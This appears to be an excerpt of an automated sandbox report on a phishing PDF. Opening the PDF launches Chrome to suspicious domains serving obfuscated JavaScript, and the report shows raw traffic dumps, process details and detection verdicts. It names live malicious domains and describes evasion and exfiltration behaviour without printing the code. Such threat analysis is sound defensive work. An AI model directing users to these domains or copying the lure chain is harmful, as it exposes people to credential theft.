2024-12-18 13:54:33 UTC	425	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 32 37 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 33 32 2e 65 72 67 65 61 6e 65 2e 72 75 2f 79 4e 72 69 55 47 6b 30 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 33 32 2e 32 32 35 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c Data Ascii: [{"age":0,"body":{"elapsed_time":327,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://32.ergeane.ru/yNriUGk0/","sampling_fraction":1.0,"server_ip":"104.21.32.225","status_code":404,"type":"http.error"},"type":"network-error",
2024-12-18 13:54:33 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 18 Dec 2024 13:54:33 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49751	104.18.161.117	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:54:43 UTC	669	OUT	GET /5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp HTTP/1.1 Host: cdn.prod.website-files.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://32.ergeane.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:54:43 UTC	957	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:54:43 GMT Content-Type: image/webp Content-Length: 106290 Connection: close x-amz-id-2: ykOAIFjBYjIASAiCYVBMeSrMGA6UWk+uKxpq3MpyXwVNqfU1hBcYHQ7hMWTfiN4oaVDzl9stS/sm+R7QzApeYnSnR+sJXig5QtARV1Cx+9Y= x-amz-request-id: F3KQ37YXZ9TVGVHR Last-Modified: Tue, 05 Dec 2023 01:19:11 GMT ETag: "428183bfb7c31d8c3bcc985dac004681" x-amz-server-side-encryption: AES256 Cache-Control: max-age=84600, must-revalidate x-amz-version-id: pafjt1WRdKFeFq9Cn_ncOtPAOJJamed. CF-Cache-Status: HIT Age: 81055 Accept-Ranges: bytes Set-Cookie: __cf_bm=6nxhXAEJZ.NCDYLl5MgigfxsWKyJrpgC9K9ULWHRTaM-1734530083-1.0.1.1-KmOWw7k2OJ5yM3Ff4ENv_uQJM_1EDlcqLD4acCeN.cAZsxLQjGzUvacORyrAHwhiYD3RVnpOqVLYEnRSvoCY2g; path=/; expires=Wed, 18-Dec-24 14:24:43 GMT; domain=.prod.website-files.com; HttpOnly; Secure; SameSite=None Access-Control-Allow-Origin: * Server: cloudflare CF-RAY: 8f3fa57e7d85c3f8-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 13:54:43 UTC	412	IN	Data Raw: 52 49 46 46 2a 9f 01 00 57 45 42 50 56 50 38 20 1e 9f 01 00 b0 3e 06 9d 01 2a cd 06 d3 03 3e 91 46 9d 4b a5 a3 a3 2c a4 b4 39 41 90 12 09 69 6e fc 66 c7 59 0c d2 1b b1 ba dc a8 13 20 6a 2e 19 b3 a7 7f 93 ee ad bf d6 f2 e6 5f fb 29 7c 75 e8 c2 ff e6 f9 82 02 3d f8 3f dd ff 17 f9 03 27 4d cb 9e 57 bc dd e6 cb fc df fd ff 63 1f d9 7f dc fb 01 fe ac 74 ab fe ff fe ab f5 e3 dc 37 ed 27 ed 9f bc 6f fd 3f dc 8f 7b 5f d9 fd 40 3f 93 7a 5c 7a 99 7e f4 7b 07 ff 20 ff 43 ff ff da 57 ff 5f b2 ef f7 cf fc de b5 9f f5 7d 40 3f ff fb 6a 74 a7 f8 7f f3 ef eb 3f d8 3f c2 7f 91 fe b1 ff ff e5 2f c7 ff 3c fe cd fd af fc 5f f9 5f ee 1e 8e fe 47 f3 cf e2 3f b7 7f 96 ff a7 fd e3 da 5f fc 0f f2 1e 1b fd 17 f9 5f f7 5f e1 bf ce fb 11 fc 9f ed b7 e5 7f bb 7f 96 ff c5 fe 13 e6 87 Data Ascii: RIFFWEBPVP8 >>FK,9AinfY j._)\|u=?'MWct7'o?{_@?z\z~{ CW_}@?jt??/<__G?___
2024-12-18 13:54:43 UTC	1369	IN	Data Raw: a3 ff 6b fb 9b ed eb f4 6f f4 df fb 7f d3 ff b7 f9 09 fe 75 fd c7 fe c7 f8 ef f4 bf b7 df ff ff ff fd 7f ff ed f8 6d f9 ff ff ff e2 7b f7 ab ff ff ff 71 cc df 2d ee f9 66 10 24 4d f2 cc 20 45 17 00 ac f3 ff 0f 2e de 4c 27 26 9f cd 5e 7f e1 e5 db c9 84 e4 d3 f9 ab cf fc 3c bb 79 2b b9 2d b9 2b 8b 92 35 f7 88 ec b7 05 12 e2 d0 aa 62 c0 1f 97 46 54 4d f2 a4 63 ac f3 d3 1a fa ec f3 fe df 7f bf af 0b e7 03 4a 4d 41 a4 a1 dc ba 24 c3 00 c6 60 2b f1 78 91 5d 15 b4 a2 20 1c dc 37 6b 63 7c b2 ef 35 fe 11 aa eb 25 cd 78 15 57 7b b6 80 26 34 a8 19 b1 d3 0a d8 3a 07 74 0e e8 1d d0 3b a0 77 40 ee 81 dd 03 ba 07 74 0b e0 28 b9 54 29 61 36 46 c6 eb d0 fd ca aa 12 96 8a ac 22 8b b1 b8 fb fc ea 25 5c 75 c8 ba d2 bc fe 27 44 0b 9f 80 05 e2 11 9a b5 a5 d9 7d 10 13 33 fc 02 Data Ascii: koum{q-f$M E.L'&^<y+-+5bFTMcJMA$`+x] 7kc\|5%xW{&4:t;w@t(T)a6F"%\u'D}3
2024-12-18 13:54:43 UTC	1369	IN	Data Raw: 4c 3e 36 4f e5 d1 95 13 7c b3 08 12 26 f9 66 10 24 4d f2 cc 20 48 9b e5 98 40 91 37 cb 30 81 22 6f 8d 40 ff 80 fd f1 8c 50 08 b4 b9 1f 76 3e e1 c4 54 23 56 75 3e e3 05 46 4d ec 13 46 cc 5c ce 32 bc b9 b4 03 dd 7d f9 20 81 8d fa 4e 09 20 92 98 da a1 4d fe d6 88 1b 76 25 cb 55 a2 60 61 82 ef 22 bd 79 77 34 fe 66 2d f0 e8 08 a9 07 29 eb 05 3f a7 43 95 b2 b0 b1 3e e2 fc f8 3b 8d f9 ff 87 97 6f 26 13 93 4f e6 af 3f f0 f2 ed e4 c2 72 69 fc d5 e7 fe 1e 5d bc 98 4e 4d 3f 9a bc ff c3 cb b7 93 09 c9 a6 b8 dc 8d 15 ae 19 d5 cd a3 b9 b4 13 46 5a b4 c3 b5 26 1f f1 20 21 34 0b ee 82 5b 5d 8c aa c0 e7 15 e3 4a fe 92 d5 f2 19 5a 2a 98 63 24 16 7e c9 78 61 3e 5f 8b 2b d4 7b 72 69 74 88 42 9b a2 ed c2 49 cf 52 ed f4 64 7c 94 25 62 af 25 a9 ae 4f 7c 94 15 22 2d 1d 89 4d ce Data Ascii: L>6O\|&f$M H@70"o@Pv>T#Vu>FMF\2} N Mv%U`a"yw4f-)?C>;o&O?ri]NM?FZ& !4[]JZ*c$~xa>_+{ritBIRd\|%b%O\|"-M
2024-12-18 13:54:43 UTC	1369	IN	Data Raw: 5b b5 91 06 c8 8c 53 c2 f4 eb a9 bc 65 3c 58 e1 c2 05 6b f9 d3 2e 38 b8 4d 7c f3 44 d8 66 18 af 75 f8 24 8d c3 ab 04 f5 f8 0f ff 91 74 25 c4 3a c2 71 03 6d 7b 73 ed 44 cc f0 3d 7b f4 b9 60 c0 2e cc 49 a8 6a f5 1f 73 26 fc 38 6a fe 13 f6 d4 40 44 56 64 a1 8b b8 e2 ec b6 55 92 88 1c cb 46 4b 38 73 70 41 e9 b2 66 48 25 60 26 70 b8 61 02 44 d5 14 3c 1a 0a 89 b1 df 40 90 51 d8 e2 a0 b8 dc a4 44 b0 6d 5e ee 2e bb 8d ca 7f 86 85 a2 ce b1 49 e4 bd 73 54 5c 38 14 e8 28 64 bc f8 fe 27 97 a7 8e f4 64 6f e3 3b 94 b1 7a 8a de e7 4a d6 3f fb 77 17 5d a6 e6 4d 7d 74 59 62 6f 15 00 3c 1c 48 b7 6b 00 71 30 16 5f 9f 4f d1 b9 29 e1 92 7b 72 f5 ed 8f 47 18 a9 98 ba 05 14 c6 9d f0 fb d5 8d 3a 3b 1b 6f 75 50 43 a0 77 a7 f4 cd cc 95 e9 2f 96 64 8c 6e 08 a2 2b a3 72 5b 2e ac 0d Data Ascii: [Se<Xk.8M\|Dfu$t%:qm{sD={`.Ijs&8j@DVdUFK8spAfH%`&paD<@QDm^.IsT\8(d'do;zJ?w]M}tYbo<Hkq0_O){rG:;ouPCw/dn+r[.
2024-12-18 13:54:43 UTC	1369	IN	Data Raw: 41 90 4e 69 ca fb ad 61 ec 7d 85 23 35 ec 20 dc 42 bf 6d 4b 2b 9f 04 3a 3c 58 00 2f 86 31 9e 71 2b 34 97 6b c6 11 81 26 39 48 56 4b 83 6c 2f 79 36 ff 0b f5 eb 65 fc 23 90 1d 69 15 79 a7 2e cb 40 df 9d a1 e0 e4 78 05 11 f4 37 d0 52 c1 98 c8 78 13 39 18 30 3c bf f4 d8 76 ec ba 3b 52 9f f9 de 92 f9 66 08 de 63 93 ee 84 56 82 41 a3 2a 13 80 ff 9f 70 e3 98 8e b1 e4 a2 ef ab 8a 15 f6 06 75 c3 23 9c 23 6f 0e 90 7a fb e6 07 b6 51 77 c3 6a 28 dd 5c ac ce 2e c8 40 3b 6f c6 d8 3d 6e 39 e9 6c 34 ff 36 0a d9 43 d5 52 86 e4 95 5f 22 76 db 40 fc 04 ab b6 be 9c de c8 a3 c9 05 4c c2 36 83 a0 a1 92 f7 d9 11 f9 f3 52 f3 e4 d6 be 13 d1 3c 38 d0 15 5a 45 4e 19 3a 1b 30 1b f3 14 1f da 89 10 6a 1e 0f e5 07 5e 83 6f fd e4 34 56 c6 fc 37 97 d4 1e ca e4 65 5d d9 23 44 35 c8 b1 1f Data Ascii: ANia}#5 BmK+:<X/1q+4k&9HVKl/y6e#iy.@x7Rx90<v;RfcVA*pu##ozQwj(\.@;o=n9l46CR_"v@L6R<8ZEN:0j^o4V7e]#D5
2024-12-18 13:54:43 UTC	1369	IN	Data Raw: 3b b3 91 41 80 b6 29 90 34 54 97 97 60 d0 23 ec 0c d9 55 5f fa 43 86 4a 6a 17 fa 0a 1a 3c eb 19 1b 11 a1 ea 9d 62 1e 13 08 71 87 6f 27 4b d9 b1 d6 1f cd ec 9a 60 86 56 7d 93 2c 06 12 24 53 1c 98 96 cb d5 5e 28 2f 15 6c 98 d6 3d 24 66 2f 19 93 13 2c 61 11 4e 1d 0d 14 a6 43 96 19 e7 b8 79 e3 43 b5 c8 55 89 33 d4 3b c0 9c 97 71 73 f2 63 e5 f4 64 87 ae a1 ed 52 d5 3a 98 b2 b4 d4 e3 2e 04 a0 cb fd 1e 62 de e5 95 a6 a6 fd 85 f3 8c 79 41 eb 6e f9 e5 fb 16 61 12 2f 69 42 35 59 27 0d 0f 53 f8 3b bb 15 e9 c2 85 cd 65 f7 e4 99 e9 ae 8a 06 b5 04 46 28 68 44 ea 27 1a 35 dc 38 13 3e 4e 82 b3 c2 89 db 28 fa 9a f8 ec 42 68 ad be 17 29 80 04 d5 4f 57 43 45 6c 6f 99 64 d3 1a 7a 1e 8a 5a 7b bc ff c3 cb b7 93 09 c9 a7 f3 56 e2 9e a9 1e e9 ca ea 2a f1 76 37 25 f8 8b 09 e0 dd Data Ascii: ;A)4T`#U_CJj<bqo'K`V},$S^(/l=$f/,aNCyCU3;qscdR:.byAna/iB5Y'S;eF(hD'58>N(Bh)OWCElodzZ{V*v7%
2024-12-18 13:54:43 UTC	1369	IN	Data Raw: 03 a1 a9 16 1a 98 f8 36 b2 35 fe 23 b8 dd c9 33 d3 64 82 34 24 8b 7c 21 ad 10 95 1a f1 a9 5f b9 1e fe b5 aa 9f 3f 6e 5f 39 ee f8 f9 3e 21 43 4d 0e 88 f0 7a 48 9b e5 98 40 91 49 b0 e9 34 03 cc 44 ed 5a 3e 17 e1 e5 db c9 84 e4 d3 f9 ab cc c1 ec 06 dc 60 c7 f4 3c b2 6d 9f b8 3e 8a 3c 17 e9 14 38 b2 72 69 fc d5 e7 fd 93 27 7e 03 76 79 ff 87 97 6f 25 30 70 61 1c 91 8d d9 e7 fe 1e 5d bc 98 4e 4d 3f a9 73 7d 97 aa bb e5 bc 30 17 1a 59 2f 62 79 e9 d9 80 92 13 11 3a 0f 35 b2 bb c7 d9 fd 93 d0 0a 7e 5e 93 13 5e d5 6d 1c b6 5d 01 bd 60 d6 4b 74 78 7d 40 b2 eb 0c 07 f6 7e 8d 8a ca dc 53 15 40 30 73 47 19 d8 28 49 11 e1 f2 ac 63 20 c7 10 17 e2 2c 76 92 74 0b cf d8 36 61 02 44 de 16 61 f7 b1 80 a9 67 56 5c 09 2f de 62 6f 9e ac 68 7e 9c bc 72 2a ba a7 8e 6e 6f 9a e7 3b Data Ascii: 65#3d4$\|!_?n_9>!CMzH@I4DZ>`<m><8ri'~vyo%0pa]NM?s}0Y/by:5~^^m]`Ktx}@~S@0sG(Ic ,vt6aDagV\/boh~r*no;
2024-12-18 13:54:43 UTC	1369	IN	Data Raw: 90 5b 38 f5 4d 44 3c d1 1a d3 63 fb cf 9b 71 b2 45 49 c6 a3 9f d8 e6 e2 21 3c 98 49 c9 a7 f3 57 9f f8 79 76 f2 60 cc ff 0a a5 6f 46 84 42 f9 18 ef a3 0f 2e de 4c 27 22 09 c8 9b b7 91 7d c5 84 f3 57 9f 10 d7 22 c4 b1 39 34 fe 6a f3 ff 0f 2e dc fb 16 16 37 da 13 f2 06 de 00 e1 7d 83 fb 7e cd 5f 0d bd d6 da 5c 72 d1 ef fd 0e 3c 73 c2 b9 bb 2a db b8 a3 83 b4 50 75 76 49 84 bf b9 6c 14 43 f7 0e 43 ef aa fd dc 5a 8e 91 b3 b1 aa 43 99 f1 ff 23 9e da 85 2a 44 21 f5 43 85 8f be d8 32 18 13 01 78 d6 fe 8b b6 5b f2 cb 70 85 d2 32 30 1f e1 42 09 06 c5 a0 cb 12 d9 9a e2 e8 e0 42 f9 5d 59 da a6 4f 35 96 f7 29 cf 35 a6 58 e8 3b 52 ae fa 83 84 68 6e f2 80 fa ed 76 3c 45 13 3b a2 59 d7 4d f1 67 de 50 58 87 03 01 61 08 96 65 9e f3 f7 78 62 39 8b 11 23 3c 2a 1e 61 d1 2c 6a Data Ascii: [8MD<cqEI!<IWyv`oFB.L'"}W"94j.7}~_\r<sPuvIlCCZC#D!C2x[p20BB]YO5)5X;Rhnv<E;YMgPXaexb9#<*a,j
2024-12-18 13:54:43 UTC	1369	IN	Data Raw: 7b 12 9b 9c ed 07 c9 42 56 2a e0 4d 0f d9 28 29 f4 ef 33 62 7e b6 06 c6 4b f4 e2 2d 1d 89 4d ce 76 83 e4 a0 ba 50 12 3f 9e a2 fd 38 88 2f 62 53 73 9d 92 b5 68 03 5a c5 e4 b5 35 c9 ef 92 82 a4 45 a3 b1 29 b9 cc 26 7c 17 46 7e 22 0d cc 57 f8 84 e9 74 93 fb 7e 58 0a e4 5c ad 58 6e 36 b5 55 97 f3 d9 66 10 21 c1 3a e9 db d8 46 95 63 cd e7 5f c1 20 d7 b2 86 7c e7 a1 30 99 3d 74 93 e2 c4 d9 0a fd 6d c9 56 13 79 57 00 9f 08 24 55 ff 66 f9 40 28 a9 f7 25 d2 73 aa 86 29 1a e1 f3 65 e3 84 ae 5d 19 51 37 86 c8 ae 9c fb b0 91 05 2b 2c b4 72 65 06 7a 82 85 09 a4 6c a3 7b e9 35 c8 3f 13 2c 23 e5 f3 fc 2c 92 aa 36 e9 7c e4 ae ac b9 2d 9c 32 9f 72 3a db 4d 90 3e 2c b9 37 6e 80 a2 49 32 6f 75 8a 33 05 af 1d 55 1a ae 85 25 2d 17 91 86 61 78 88 b3 b5 9a 1f f2 62 89 bd 97 c4 Data Ascii: {BV*M()3b~K-MvP?8/bSshZ5E)&\|F~"Wt~X\Xn6Uf!:Fc_ \|0=tmVyW$Uf@(%s)e]Q7+,rezl{5?,#,6\|-2r:M>,7nI2ou3U%-axb
2024-12-18 13:54:43 UTC	1369	IN	Data Raw: bf 2b 7d 2c c2 04 8f 5d 4f 47 f7 86 84 50 0e 0d 83 8c c8 5d eb 72 df 61 88 28 df 96 6f 14 6b f0 5c aa a4 59 ef 41 4c 74 d6 06 df a3 38 a0 b8 28 19 e3 2a 06 fc d0 ab 6b c7 fd f1 49 2c cb ad 1d a7 24 6c 0c c2 50 a4 0f f1 cb 03 36 ea b9 7d d6 03 9b 8b 9b 2e a1 fa a9 21 31 ef 18 ff 36 12 a2 50 16 9e 5a 24 d9 59 35 22 57 87 af c3 65 1f 57 41 93 68 f1 c2 22 2e f9 a2 82 79 c2 dd da 4e 26 37 90 39 10 33 4d 6c ff 90 92 84 a2 ba b2 6f e1 87 05 44 65 91 3c ee d7 e7 9e 09 3d 90 7e 2d 05 4d 36 8d d6 a8 3b 17 24 eb a4 21 64 47 22 cd f4 f2 16 99 d7 f2 0a f5 d8 c0 ec 5c b8 39 3e 56 65 ff bc 89 82 cf c3 cd 7f a2 04 5f 43 18 e6 02 0a 01 47 17 9b 0e 64 10 05 1c 66 98 c4 f8 7d 43 59 34 db f6 39 94 77 f2 b4 7d 96 fd ea 81 ca 0e 9b 5f ae f2 0c ec 68 fc 08 47 2e 35 7f b7 9d 79 Data Ascii: +},]OGP]ra(ok\YALt8(*kI,$lP6}.!16PZ$Y5"WeWAh".yN&793MloDe<=~-M6;$!dG"\9>Ve_CGdf}CY49w}_hG.5y

Target ID:	0
Start time:	08:52:52
Start date:	18/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\DocuStream_Scan_l8obgs3v.pdf"
Imagebase:	0x7ff6bf9c0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	08:53:00
Start date:	18/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff702110000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	08:53:02
Start date:	18/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1728 --field-trial-handle=1564,i,11462845564946610434,2763012382763733277,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff702110000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	08:53:30
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://8h2f94s.actransbelgium.be/
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	08:53:32
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1800,i,6271226444330122957,6168342489889164965,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: 1.6.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://32.ergeane.ru/yNriUGk0/... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external website. The combination of these behaviors suggests a malicious intent to prevent analysis and potentially compromise the user's system.
Source: 1.5.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://32.ergeane.ru/yNriUGk0/... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. While the script may have some legitimate functionality, the overall behavior is highly suspicious and requires further investigation.
Source: 1.7.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://32.ergeane.ru/yNriUGk0/... This script demonstrates multiple high-risk behaviors, including dynamic code execution via the Proxy object and eval, potential data exfiltration, and obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10.

Source: https://8h2f94s.actransbelgium.be/	HTTP Parser: No favicon
Source: https://32.ergeane.ru/yNriUGk0/	HTTP Parser: No favicon
Source: https://32.ergeane.ru/yNriUGk0/	HTTP Parser: No favicon

Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 104.18.161.117 104.18.161.117
Source: Joe Sandbox View	IP Address: 104.18.95.41 104.18.95.41
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101
Source: unknown	TCP traffic detected without corresponding DNS query: 192.185.158.101

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 8h2f94s.actransbelgium.beConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /main.js HTTP/1.1Host: 8h2f94s.actransbelgium.beConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://8h2f94s.actransbelgium.be/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://8h2f94s.actransbelgium.be/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
